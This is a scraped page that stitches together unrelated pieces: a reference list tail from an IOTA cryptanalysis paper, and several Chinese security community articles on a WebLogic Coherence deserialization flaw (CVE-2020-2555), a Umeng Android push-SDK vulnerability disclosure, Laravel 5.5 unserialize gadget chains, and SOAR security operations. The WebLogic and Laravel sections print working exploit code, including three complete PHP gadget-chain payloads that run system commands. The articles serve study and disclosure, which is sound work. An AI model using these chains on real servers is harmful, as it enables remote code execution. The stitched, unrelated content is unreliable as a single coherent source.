and coldwallet). <https://domschiener.gitbooks.io/iota-guide/content/exchange-guidelines/generating-multisignature-addresses.html>, archived at
<https://archive.is/087kP>.
[13] IOTA Foundation. Official IOTA Foundation Response to the Digital Currency
Initiative at the MIT Media LabPart 4 / 4. <https://blog.iota.org/official-iota-foundation-response-to-the-digitalcurrency-initiative-at-the-mit-media-lab-part-4-11fdccc9eb6d>, archived at
[http://web.archive.org/web/20180727155405/](http://web.archive.org/web/2018072
"http://web.archive.org/web/20180727155405/")<https://blog.iota.org/official-iota-foundation-response-to-thedigital-currency-initiative-at-the-mit-media-lab-part-411fdccc9eb6d?gi=4be3ca82ed48>.
[14] IOTAledger (github). IOTA Kerl specification.
<https://github.com/iotaledger/kerl/blob/master/IOTA-Kerl-spec.md>, archived
at <https://web.archive.org/web/20180617175320/>
<https://github.com/iotaledger/kerl/blob/master/IOTA-Kerl-spec.md>. 2017.
[15] Oded Goldreich. Foundations of Cryptography: Basic Applications. Vol. 2.
New York, NY, USA: Cambridge University Press, 2004.
[16] Guang Gong and Shaoquan Jiang. “The editing generator and its
cryptanalysis”. In: International Journal of Wireless and Mobile Computing 1.1
(2005), pp. 46–52.
[17] Leon Groot Bruinderink and Andreas Hu¨lsing. ““Oops, I Did It Again” –
Security of One-Time Signatures Under Two-Message Attacks”. In: Selected Areas
in Cryptography – SAC 2017. 2018, pp. 299–322.
[18] Bertoni Guido et al. Cryptographic sponge functions. 2011.
[19] Paul Handy. Merged Kerl Implementation. <https://github.com/iotaledger/>
iri/commit/539e413352a77b1db2042f46887e41d558f575e5, archived at
<https://archive.is/jCisX>.
[20] Ethan Heilman et al. IOTA Vulnerability Report: Cryptanalysis of the Curl
Hash Function Enabling Practical Signature Forgery Attacks on the IOTA
Cryptocurrency.
[21] Jonathan Katz and Yehuda Lindell. Introduction to Modern Cryptography.
Second Edition. CRC Press, 2014.
[22] Leslie Lamport. Constructing digital signatures from a one-way function.
Tech. rep. Technical Report CSL-98, SRI International Palo Alto, 1979.
[23] Willem Pinckaers (Lekkertech). IOTA Signatures, Private Keys and Address
Reuse? <http://blog.lekkertech.net/blog/2018/03/07/iotasignatures/>, archived
at <https://archive.is/CnydQ>. 2018.
[24] Arjen K. Lenstra, Xiaoyun Wang, and Benne de Weger. Colliding X.509
Certificates. Cryptology ePrint Archive, Report 2005/067. <https://eprint.
iacr.org/2005/067>. 2005.
[25] Ralph C Merkle. “A certified digital signature”. In: Conference on the
Theory and Application of Cryptology. Springer. 1989, pp. 218–238.
[26] Serguei Popov. “The tangle”. In: cit. on (2016), p. 131.
[27] Ralf Rottmann. IOTA Reclaim Identification Verification Process.
<https://blog.iota.org/iota-reclaim-identification-verificationprocess-e316647e06e6>, archived at <https://web.archive.org/web/
20180710000243/https://blog.iota.org/iota-reclaim-identificationverification-process-e316647e06e6?gi=b8190e111e7f>.
[28] Dominik Schiener. IOTA Multi-Signature Scheme. https://github.com/
iotaledger/wiki/blob/master/multisigs.mdIOTA Multi-Signature Scheme. 2017
(accessed February 3, 2018).
[29] Yonatan Sompolinsky and Aviv Zohar. “Secure high-rate transaction
processing in bitcoin”. In: International Conference on Financial Cryptography
and Data Security. Springer. 2015, pp. 507–527.
[30] Marc Stevens, Arjen Lenstra, and Benne de Weger. “Chosen-Prefix Collisions
for MD5 and Colliding X. 509 Certificates for Different Identities”. In:
Advances in Cryptology – EUROCRYPT 2007. Springer. 2007, pp. 1–22.
[31] Marc Stevens et al. “Short Chosen-Prefix Collisions for MD5 and the
Creation of a Rogue CA Certificate”. In: Advances in Cryptology – CRYPTO 2009.
Springer, 2009, pp. 55–69.
[32] David Snsteb. Upgrades & Updates.
<https://blog.iota.org/upgradesupdates-d12145e381eb>, archived at
<https://web.archive.org/web/ 20180722232608/>
<https://blog.iota.org/upgrades-updates-d12145e381eb?gi=51123f82db22>.
[33] Eric Wall. IOTA is centralized. <https://medium.com/@ercwl/iotais-centralized-6289246e7b4d>, archived at
<https://web.archive.org/web/20180616231657/https://medium.com/@ercwl/iota-iscentralized-6289246e7b4d>. 2017.
[34] Xiaoyun Wang and Hongbo Yu. “How to Break MD5 and Other Hash Functions”.
In: Advances in Cryptology – EUROCRYPT 2005. Springer. 2005, pp. 19–35.
[35] Xiaoyun Wang et al. Collisions for Hash Functions MD4, MD5, HAVAL128 and
RIPEMD. Cryptology ePrint Archive, Report 2004/199.
<https://eprint.iacr.org/2004/199.2004>.
* * * | 社区文章 |
# CVE-2020-2555——Coherence反序列化初探
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、原理
### （一）概述
不安全的反序列化漏洞已成为针对Java
Web应用程序的研究者的普遍目标。这些漏洞通常会导致RCE，并且通常不容易彻完全修补。CVE-2020-2555就属于这一类。
针对CVE-2015-4852的补丁的绕过有两种大思路，一是寻找新的可以实现任意代码执行的类，二是换可触发利用链的反序列化点（包括换接收输入的点和换到包装类的内部）。之前的绕过基本上都是第二种，这里主要是第一种，在选择的类上直接另立门户。
### （二）CVE-2020-2555
CVE-2020-2555也是反序列化漏洞，其内部的原理不很是很复杂，却非常值得学习。
前面讲过一个故事，现在接着往下编。那个小孩子觉得药都不好吃，于是闹着不想吃药（有了新补丁），医生干脆放弃吃药（找不到新的包装类了），转为输液治疗（CVE-2017-3248），但是小孩子觉得输液会疼，又不想输液，于是医生找了一种甜的药（CVE-2020-2555），用来治病（getshell）。
### （三）原理
**1.原理**
[清水川崎原文链接](https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server)
ReflectionExtractor内有method.invoke()，可以用于执行任意方法，
通过构造链式的ChainedExtractor就可以实现任意代码执行。LimitFilter中的toString()方法会调用m_extractor的extract()，而BadAttributeValueExpException的readObject()中可以调用其成员变量的toString()。
由此一来，我们可以构造BadAttributeValueExpException的val为LimitFilter对象，这个对象的m_extractor为内部成链的chainedExtractor，和上面一段的描述逆序执行，最终触发RCE。
**2.工具分析**
这里用Y4er师傅的PoC，将CVE_2020_2555.java添加到weblogic_cmd中。
[Y4er师傅
PoC链接](https://github.com/Y4er/CVE-2020-2555/blob/master/src/com/supeream/CVE_2020_2555.java)
择要展示一下代码。
先是按顺序构造ChainedExtractor，
// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
);
// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[0]}
);
// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",
new Object[]{new String[]{"calc"}}
//new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}}
);
ReflectionExtractor[] extractors = {
extractor1,
extractor2,
extractor3,
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
再是封装进LimitFilter对象，
LimitFilter limitFilter = new LimitFilter();
//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
接下来将其封装进BadAttributeValueExpException，
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
看到这里，我回想起了CVE-2016-3510中用到的CC1链，相似度可谓非常高了，CC1中的InvokerTransformer也有method.invoke()，几个Transformer封装成了ChainedTransformer，再封装进可以对成员变量调用readObject()的类，最终发送出去。
整个链的构造如出一辙，不一样的就是换了反序列化点，CVE-2016-3510中readObject便算是完成了任务，而CVE-2020-2555中则是再通过toString进入另一层面。
## 二、调试
### （一）环境搭建
版本与之前不同了，漏洞用到的UniversalExtractor是WebLogic
12.2.1.4.0所特有的，而vulhub\weblogic均是10.3.6版本的，搭建相应的docker也需要下载相应的jar，可直接搭在本机上。
### （二）复现
运行PoC，
弹出计算器，
### （三）调试
先上调用栈，
extract:121, ReflectionExtractor (com.tangosol.util.extractor)
extract:105, ChainedExtractor (com.tangosol.util.extractor)
toString:599, LimitFilter (com.tangosol.util.filter)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2173, ObjectInputStream (java.io)
readOrdinaryObject:2064, ObjectInputStream (java.io)
readObject0:1568, ObjectInputStream (java.io)
readObject:428, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
PoC打过去，断下，
一开始先是BadAttributeValueExpException对象的readObject，
这里的val对应PoC中这几行代码，
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
因为我是在本地调试，有时候想看什么结果就会在调试器内部执行完恶意代码，就会弹出计算器，不是什么大问题。
接下来，进入LimitFilter的toString()，
这里关键的变量我们都已经控制好了，比如这里的m_comparator，此时的m_extractor为ChainedExtractor。
跟进它的extract，
其内部extract会调用每个元素的extract，
与ChainedTransformer的transform相似度极高，
进入第0个extractor的extract，从这里不难看出为什么oTarget要是个java.lang.Runtime，
但是第一次调试时我产生了疑惑，
为什么m_methodPrev是个非空值，
下图为调试PoC时，ChainedExtractor构造好时的结果，
既然attacker构造时是空，那么为什么在victim上是个非空值呢？
我们先继续调PoC，经调试发现，
执行完这一行代码之后，m_methodPrev的值就会改变，
我们先跟进之，
可以看到，
在执行getFieldAccessor(obj).set(obj, value);之前，m_methodPrev的值都没有改变，问题的范围又得到了缩小，
继续跟进，进入UnsafeObjectFieldAccessorImpl的set，
就在上图断点这一行，执行完，m_methodPrev的值就会改变，但是再想深入跟就跟进不了了。
下面回到调试WLS，这一部分比较熟悉了，前面也见过，
进入第一个ReflectionExtractor，
获得Runtime实例，
第二个ReflectionExtractor，
## 三、收获与启示
因为我是先学习了CVE-2015-4852和CVE-2020-14645之后再学习的这个CVE，感觉这像是一个承前启后的漏洞。首先，前承了CVE-2015-4852的攻击链的思路，其次，又开启了后面的对Extractor的利用的篇章。
整个利用链条和CVE-2020-14645比起来相对简单，但其中不乏有相似之处和值得研究的细节，学习完后有所收获，比如一个新名词sink，
Sinks即可能会有副作用的Java方法，常见的有：
FileOutputStream.write() 可造成任意文件写；
Runtime.exec()可造成任意代码执行；
Method.invoke()可造成任意方法调用。 | 社区文章 |
作者：360 Vulpecker Team
来源：[安全客](https://www.anquanke.com/post/id/89222 "安全客")
#### 概要
今年9月22日，360信息安全部的Vulpecker安全团队发现了国内消息推送厂商友盟的SDK存在可越权调用未导出组件的漏洞，并利用该漏洞实现了对使用了友盟SDK的APP的任意组件的恶意调用、任意虚假消息的通知、远程代码执行等攻击测试。
经过分析验证，360
Vulpecker安全团队将此漏洞细节第一时间提交给友盟进行修复。10月18日，友盟官方发布最新版3.1.3修复漏洞。为了确保受此漏洞影响的终端用户有充分的时间进行安全更新，12月6日，360Vulpecker安全团队首次向外界公开披露漏洞信息。
在360显危镜后台数据库中根据该含有漏洞版本的SDK的特征值查询确认，发现约有3万多APP受此漏洞的影响，根据包名去重后约7千多款APP产品，涉及多种类型的应用。鉴于该消息推送SDK使用范围较广，且受影响APP多是与终端用户日常生活息息相关的应用，一旦被恶意攻击者利用危害将是非常严重的。基于该漏洞，可以实现对终端用户推送虚假诈骗信息、远程窃取用户终端设备中的敏感数据（例如通讯录、照片、账号密码等数据）等功能。此外，该漏洞的危害依赖于Android应用本身提供的功能而有所不同，因此对终端用户的攻击方式亦是姿态各异，造成的危害也是多种多样的。
此漏洞已经得到友盟官方修复，请用户及时更新智能手机上安装的各类APP，防止手机里的隐私数据和财产被不法分子轻易窃取。
#### 前言
近年来，随着移动互联网的高速发展，智能终端设备已经走入人们生活的方方面面。在Android和iOS两大移动平台阵营中，Android系统以其开源性、易开发、丰富的硬件等优势占据了市场上约80%的份额。
Android系统中提供的应用丰富多样，且功能复杂，几乎所有的应用都采用了第三方的SDK以加速其开发周期，节约成本。第三方SDK包括支付、统计、广告、社交、推送、地图类等，其在加速产品成型时，也引入了许许多多的安全问题。下图所示内容为经360显危镜后台查询的几款常用SDK使用情况统计数据，从图中可以看出使用了该SDK开发的APP非常多。
下文以友盟消息推送SDK为例，详细介绍一下第三方SDK在缺乏产品安全审计的情况下存在的高危漏洞风险，希冀以此能督促第三方SDK厂商在产品安全性方面能投入更多的精力。
#### SDK介绍
友盟 Push
SDK是友盟互联网数据服务SDK其中用来做消息推送的模块之一，基于【友盟+】全域数据建立与用户精准直接沟通的渠道，将APP的内容主动推送给终端用户，让用户实时实地的获取相关信息，有效提升用户活跃和忠诚度。由于其定位精准、集成快速等优点，目前有多个知名APP在使用U-PUSH服务。
#### 技术分析
友盟的消息推送SDK中有一导出Service组件存在漏洞，可被越权调用并利用该组件访问任意service组件，甚至未导出的亦可。随后，利用该漏洞调用友盟其他未导出的组件，可进一步越权调用任意导出和未导出的Activity，进而扩大了该漏洞的攻击面，为攻击者提供了更大范围的攻击可能性。
下文详述了友盟的消息推送SDK中可越权调用所有非导出组件的漏洞技术原理，并据此详述了如何实现非导出组件恶意调用、恶意消息通知、远程代码执行等攻击行为。
#### 漏洞起因
友盟最新的消息推送SDK中集成的说明文档中的demo里，AndroidManifest文件中导出了一个IntentService——UmengIntentService，据推测这个服务是为了使用了PUSH
SDK的APP之间相互唤醒使用的，详情如下图所示。
这个IntentService有个实现的抽象方法如下：
我们能看到外部接收了intent携带的body数据（JSON格式），交给UMessage构造后得到v3，如果display_type
为“pullapp”的话，可通过设置pulled_service和pulled_package参数能拉起任意未运行的servcie。其中Umessage函数的结构如下：
#### 漏洞利用
##### 初步利用——访问未导出service组件
通过构造如下POC，可访问APP内所有的service组件，甚至未导出的servcie。而且SDK提供了一个“贴心”的功能，接收额外的参数，封装到新的Intent后发送给拉起的service。
*限制一点的只能putExtra String类型的数据，但是也足够利用了。
PoC：
##### 进阶利用——访问未导出Activity
SDK有几个强大功能：接收推送的消息，下载图片或接收文本进行通知展示。点击通知后有几个可选动作，打开URL、打开指定activity、运行其他APP和一个自定义的动作。我们通过一个未导出的Service——UmengDownloadResourceService进行进一步的利用。
打开activity的POC：
###### 利用实例1——通用弹出钓鱼通知
利用上面打开任意activity的POC，可以弹出任意通知，这个通知的图标，文本都是可以定制的，而且用户长按通知也会发现这个通知是漏洞APP发出的。点击通知，我们可以跳转url打开一个钓鱼页面或是钓鱼activity。
###### 利用实例2——隔山打牛，一点资讯下载任意压缩包
通过检索平台搜索后发现，APP一点资讯是存在这个漏洞的。进一步挖掘过程中，发现APP有一个未导出的service——WebAppUpdateService，详情如下。
通过构造合法的参数，可以利用WebAppUpdateService组件实现下载自定义的zip文件并解压到当前应用沙箱目录中，EXP代码如下：
运行成功后，下载zip文件夹并解压到相关目录，这个目录里存的是APP所使用的html页面，而整个zip里文件都是我们能够修改和替换。现在做钓鱼页面，加各种js代码都没问题了。
随后，通过对该APP代码的深度挖掘分析，我们发现该应用提供了动态加载插件的功能，且在对加载的插件解压时未做过滤导致存在目录穿越漏洞。结合该漏洞，我们可以在加载插件过程中覆盖该APP的lib文件，注入自己的恶意代码，进而造成远程代码执行。不言而喻，远程代码执行对用户的危害是非常严重的，可远程控制用户终端设备，远程窃取用户隐私数据，甚至其他任意的恶意行为。下图所示为结合上述漏洞实现的对用户终端设备远程获取隐私敏感数据的攻击截图。
漏洞演示视频如下：
<http://v.youku.com/v_show/id_XMzIwNTAyMjUyOA==.html>
#### 影响范围
通过分析发现，有漏洞的组件UmengIntentService是在新版3.1.X版本中引入的。我们据此确定以下的特征值，并在360显危镜后台数据库中查询受该漏洞影响的APP：组件service中包含UmengIntentService并且在apk中包含字符串pullapp。
在360显危镜后台数据库中，按该漏洞的特征值查询后发现约3万多的APP受此漏洞的影响，其中不乏大公司的产品主流产品，对用户影响巨大。
#### 修复建议
如果组件导出是非必要的，将漏洞组件设置为不导出；
如果组件是必须导出的，在Service加上 android:protectLevel 增加权限校验，至少为signature级别。
官方已有修复版本更新，请及时更新到最新版本。
#### 时间轴
2017-09-22 发现漏洞
2017-09-25 通报官方
2017-10-18 官方发布最新版3.1.3修复漏洞
2017-12-06 对外公布漏洞详情
#### 参考链接
* <https://www.umeng.com/>
* <https://www.anquanke.com/post/id/87274>
* <http://appscan.360.cn/>
* <http://v.youku.com/v_show/id_XMzIwNTAyMjUyOA==.html>
* * * | 社区文章 |
# laravel5.5-序列化导致rce
> 之前开分析给laravel5.4,5.7,5.8的序列化漏洞，所以继续我们的laravel框架序列化漏洞
## 1.1环境搭建
`要分析框架漏洞我们肯定要搭建好环境`，这里我是使用的安装包搭建的，也可以使用`composer`搭建
[laravel安装包下载地址](https://laravelacademy.org/post/2)
然后使用phpstduy，快速搭建好。如下图。
## 1.2寻找利用点
`laravel5.5中并没有修复5.4的序列化漏洞`所以我们这一次就不讨论之前5.4的序列化漏洞了，还记得上一次分析5.4的思路是找`__call`魔法函数，而这一次我们换一个思路。
这次是调用任意类的方法。
入口：5.5版本序列化的入口还是`Illuminate\Broadcasting\PendingBroadcast`
简单的解释一下为什么这个入口好利用？因为这里两个参数我们都可以控制，就有俩个思路，一个是去调用`__call`方法，另一个是去调用任意类的`dispatch()`方法。
所以我们就去搜索`dispatch()`方法，这里我们利用`Illuminate\Events\Dispatcher`类中的`dispatch`方法
**为什么我们找的是这个类？因为下面有一个可能存在rce的地方。**
所以现在就是看看`$response = $listener($event,
$payload);`中的参数可以控制？去构造一个`system(whoami)`
`$event`变量是来自`Illuminate\Broadcasting\PendingBroadcast`类的`$this->event`我们可以控制。
所以接下来至少的利用都要去控制`$listener`变量。而`$listener`变量是来自`getListeners()`方法
我们跟进`getListeners()`方法
可以发现我们可以控制的参数是`$this->listeners[]`数组，并且这里的`$eventName`就是`Illuminate\Broadcasting\PendingBroadcast`类的`$this->event`为我们执行命令的参数，所以`class_exists($eventName,
false)`为false，直接返回`$listeners`
然后返回`dispatch`函数进行foreach操作，这里我们已经可以控制`$this->getListeners($event)`的返回值，所以就可以控制`$listener`
而这里是执行system命令，就可以不管`$payload`变量，并且system函数支持2个参数
## 1.3构造触发
因为序列化的利用基本上在后期开发中写的，使用我们需要写一个触发点去验证poc.
在 `/routes/web.php` 文件中添加一条路由，便于我们后续访问。
Route::get("/","\App\Http\Controllers\DemoController@demo");
然后在`/app/Http/Controllers/`下添加 `DemoController`控制器，代码如下：（后面都是利用这个漏洞触发点）
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.5";
}
}
## 1.4exp
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;
function __construct($events, $parameter)
{
$this->events = $events;
$this->event = $parameter;
}
}
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
function __construct($function, $parameter)
{
$this->listeners = [
$parameter => [$function]
];
}
}
}
namespace{
$b = new Illuminate\Events\Dispatcher('system','whoami');
$a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
echo base64_encode(serialize($a));
}
执行成功~
## 1.5攻击流程
下面的攻击流程图，去掉了没有用的代码。
别着急，还有。。。。
## 2.1链子2
反正入口是一样的，并且思路就俩个，所以只要认真去寻找总是会有的。
所以这里我们在去找一个`__call`魔法函数的
在`Illuminate\Support\Manager`类中发现，并且这个类是抽象类，说明有一个类是实现他的，一会在去找这个类。
现在我们需要进跟进`driver()`方法，找一找有没有利用点，并且可以控制参数。
说明这个方法是抽象方法，现在我们就需要去寻找这个类，去实现这个方法的。
找到了`Illuminate\Notifications\ChannelManager`类，并且这个参数`$this->defaultChannel`我们可以控制
说明`$driver`变量可以控制，然后跟进`createDriver`函数，我们可以控制`$this->customCreators[$driver]`
然后去看一看`callCustomCreator`函数，发现了利用点，可能存在rce，并且`$this->app`我们可以控制。
现在就是需要去控制`$this->customCreators[$driver]`并且可以进入`callCustomCreator`函数。我们在返回`createDriver`函数看看。
这里我们可以控制`$this->customCreators[$driver]`，让其等于`system`这样就可以进入if条件，并且`$driver`我们也可以控制，然后进入`callCustomCreator()`，执行命令。
## 2.2exp
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
function __construct($events)
{
$this->events = $events;
}
}
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;
function __construct($function, $parameter)
{
$this->app = $parameter;
$this->customCreators = ['nice' => $function];
$this->defaultChannel = 'nice';
}
}
}
namespace{
$b = new Illuminate\Notifications\ChannelManager('system','whoami');
$a = new Illuminate\Broadcasting\PendingBroadcast($b);
echo base64_encode(serialize($a));
}
成功执行。
## 2.3攻击流程
下面的攻击流程图，同样去掉了没有用的代码。
什么？结束？别着急别着急，还有呢。。。
## 3.1链子3
我们还是去寻找`__call`魔法函数。在`Illuminate\Validation\Validator`类中找的
这里，我们可以控制`$this->extensions[$rule]`,然后去查看一下`callExtension()`函数
发现利用点，`call_user_func_array()`。而这里的`$callback`可以通过`$this->extensions[$rule];`去控制，
`$parameters`就是`__call`方法中的`$parameters`也就是`Illuminate\Broadcasting\PendingBroadcast`类的`$this->event`，使用我们可以
**rce** 。
最后我们只需要控制参数进入`if (isset($this->extensions[$rule]))`条件，就需要通过调试去看一看`$rule`变量的值
可以看到`$rule`变量的值是`""`，所以只要让其`$rule`变量等于`""`就可以进入if条件。进行下面的操作。
## 3.2exp
<?php
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;
function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation
{
class Validator
{
public $extensions;
function __construct($function)
{
$this->extensions = ['' => $function];
}
}
}
namespace{
$b = new Illuminate\Validation\Validator('system');
$a = new Illuminate\Broadcasting\PendingBroadcast($b,'whoami');
echo base64_encode(serialize($a));
}
执行成功
## 3.3攻击流程
下面的攻击流程图，同样去掉了没有用的代码。
hhh...没有了，但是我相信还有的，感兴趣的师傅们可以去深入研究一下。
## 总结
* 这个漏洞应该说是比较简单的序列化，比较好理解，对于初学者来说比较容易上手
* 这个唯一的难点在处理一些变量中的一些细节问题
* all in all 多调试，多跟踪 | 社区文章 |
# 现代化SOAR的产品化落地（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：cyg07@360-CERT
## 0x00 SOAR近况
今年Gartner再次更新了SOAR（安全编排自动化响应）的定义，表达出了更高的期待：
_定义6【2020】：SOAR平台是一类为人类安全运营人员在其团队中执行某些任务的过程中提供机器协助的解决方案。这里的团队不限于SIEM操作员或SOC分析师。这里的团队可以包括告警与分诊管理、事件响应人员、威胁情报、合规经理、威胁猎手。_
_定义7【2020年，安全运营炒作曲线】：SOAR是一类从各种来源获取输入，并应用工作流来拉通各种安全过程与规程，从而为安全运营人员提供机器协助的解决方案。这些过程和规程可以被编排（通过与其它技术的集成）并自动执行以达成预期结果，譬如分诊管理，事件响应，威胁情报，合规性管理和威胁猎捕。（参考１）_
对于SOAR的定义不再只是单一的响应联动，而是寄望于它能够进一步促进SOC（安全运营中心）中人、技术、流程，三位一体的融合，加速PPDR模型中预测、防御、分析检测、响应过程。
反观SOAR在 **国内的市场都是不温不火的** ，归结下主要有几点原因：
* 国内安全技术从业人员偏少，包括非技术类的整体从业人数也就十几万人（据调查），面对复杂如SOAR的平台也是无从下手；
* 设备、接口碎片化过于严重，各设备谈不上接口标准化，生态不成熟，自家各盒子产品都不见得能用SOAR串起来；
* 国内公有云厂商对于SOAR的安全建设多少乏力，公有云本是所有一流安全技术持续落地的优先场景；
前面两点就足以限制其市场地位，更不用说甲方用户、公有云、威胁情报提供商对它的认知了，
**所以目前多数安全厂商会选择兼顾市场需求的短平快联动功能进行产品开发** ，不会把功夫花在Gartner炒作和SOAR的绣花上。
任何一个新技术的尝试都需要一点点理想主义、加上现实的捶打，SOAR也不例外，面对着告警爆炸、人才/经验短缺、工具过量的痛点，SOAR作为由安全编排与自动化、威胁情报平台和事件响应平台融合而起的新兴安全解决方案，其所追求的人机协同自动化是解决这个痛点的方案之一，它是值得去探索的。
## 0x01 现代化SOAR的落地探索
假设下场景，当你作为安全分析与运营人员，作业于一个10万规模的IDC环境，历史原因分布在十几个大大小小的机房，架构并收集了一堆HIDS、IDS、WAF、RASP等日志，你的SIEM(安全事件管理)平台每天需要吐出大量的告警、漏洞、新漏洞，你需要进行分析研判、通报处置。最终，要么你每天只挑几个告警出来运营，要么普遍都会都会陷入告警疲劳。
那么除了进一步优化告警本身和联动那些设备外， SOAR能为这个问题提供什么解呢？ **SOAR可以让你可以站在综合型的安全运营视角**
里找到可以量化、标准化的抓手去提升你的安全运营成熟度，合理运用现有分析人员所积累的知识配合playbook（剧本）化的方式去驱动整个SOC（安全运营中心）的作业，在已有的运营手段基础上提供一个更加灵活和本地场景定制化的手段去优化提升安全运营效率。
而且 **SOAR中很重要的一点是，隐含了OODA（观察、调整、决策、行动）循环思想** ：
(1) 观察事件并确定发生了什么；
(2) 确定观察的方向，并添加上下文来确定观察的含义；
(3) 根据业务的风险容忍度和能力决定适当的响应行动；
(4) 根据决定采取行动，并应用到观察过程中，然后重复；
虽然SOAR平台能够消除现有安全运营流程中执行的单调、重复任务的需求，但是SOAR本身并不能代替人类。SOAR技术可以帮助安全运营人员更快地从决策点a移动到决策点B，但是所选择的路径以及如何在该路径上做出决定是需要人工交互的技能。
在SOAR产品中定义良好的剧本可以创建更高效的决策速度。但是具体响应执行过程还要由业务环境中事件的上下文、业务风险的容忍度以及安全运维之外的团队的能力来驱动。因此，我们只能将SOAR应用于已经预想可能会发生的并且知道如何响应的安全场景中。
所以，现代化SOAR除了需要完成从响应到分析调查的升华，完成SOC效率、MTTR的提升，还需要做到知识的留存等。在实际过程中对接SIEM, XDR,
资产，云端威胁情报等，以Playbook(剧本化)的形式，融合分析人员的知识来驱动下层的自动化编排引擎、作战室协作、案例化管理、威胁情报管理等方式实现一个安全运营体系的升级。
**SOAR** **中的三个基本功能(还在持续演进)——Playbook的编排自动化、沉淀知识的案例化管理** ：
* **使用Playbook联动云端和本地的安全产品；**
如前所述，现代化SOAR除了需要联动诸如FW、NTA、EPP等相关本地化设备外，有很重要的一点是需要联动云端的威胁情报中心，通过云端威胁情报、全网资产测绘等接口来快速补充事件威胁上下文信息，实现对具体事件的洞察，提供决策支撑。
* **现代化SOAR的案例管理**
SOAR的案例管理主要用于帮助安全团队管理安全事件，进行上下文协作并共享数据以有效解决事件。
**警报处理和分类**
。SOAR工具收集并分析通常从SIEM中获取的安全性数据，将数据关联起来以识别优先级和严重性，并自动生成事件以进行调查。该事件已包含相关的上下文信息，使分析人员可以进行进一步调查。这样就无需人工来注意相关的安全数据，将其识别为安全事件并在系统中手动设置事件。
**案例管理** **。**
该工具可以记录安全团队的行动和决策，使整个组织以及外部审计人员可以看到它们。随着时间的流逝，SOAR工具会创建一个由团队知识组成的知识库，包括威胁、事件、作战室、历史响应和决策及其结果。
**威胁情报管理** **。** SOAR工具可从开源数据库，行业领导者，协调响应组织以及商业威胁情报提供者那里获取威胁数据。
SOAR工具将相关的威胁信息附加到特定事件，并使分析人员在调查事件时可以轻松访问威胁情报。
**攻防视角对接。**
由于对接了所有的安全数据和接口，理论上SOAR拥有的视角是本地中最全的，所以在SOAR中引入安全攻防视角的案例管理是卓有成效的做法，比如对接ATT&CK和钻石模型的攻防视角，各设备都统一用该方式去描述攻击方法。
## 0x03 小结
本篇文章简要介绍了下360-CERT团队在现代化SOAR解决方案部分产品化落地探索，期待现代化SOAR解决方案能成为当代SOC建设的中心枢纽。
下一篇见，谢谢。
## 0x04 参考
1.《Gartner对SOAR的定义不断变化》
<https://mp.weixin.qq.com/s/X0BoaaFG1a-p5xymokC1YQ>
2.《SOAR可从SIEM等收集报警信息 目标是将安全编排和自动化》
<https://blog.csdn.net/zy_zhengyang/article/details/106035800> | 社区文章 |
# unserialize函数的现状
因为恶意的输入，unserialize函数的使用一直令人诟病，使用unserialize算是个存个存在多年的漏洞了。所以许多cms和框架已经明令禁止了，取而代之的是`json_decode()`函数。然而，该漏洞在今天仍然存在，尤其是一些定制化的网站中。渗透测试时，如果不知道源码的话，想利用该漏洞是比较困难的。
# 黑暗中寻找gadget
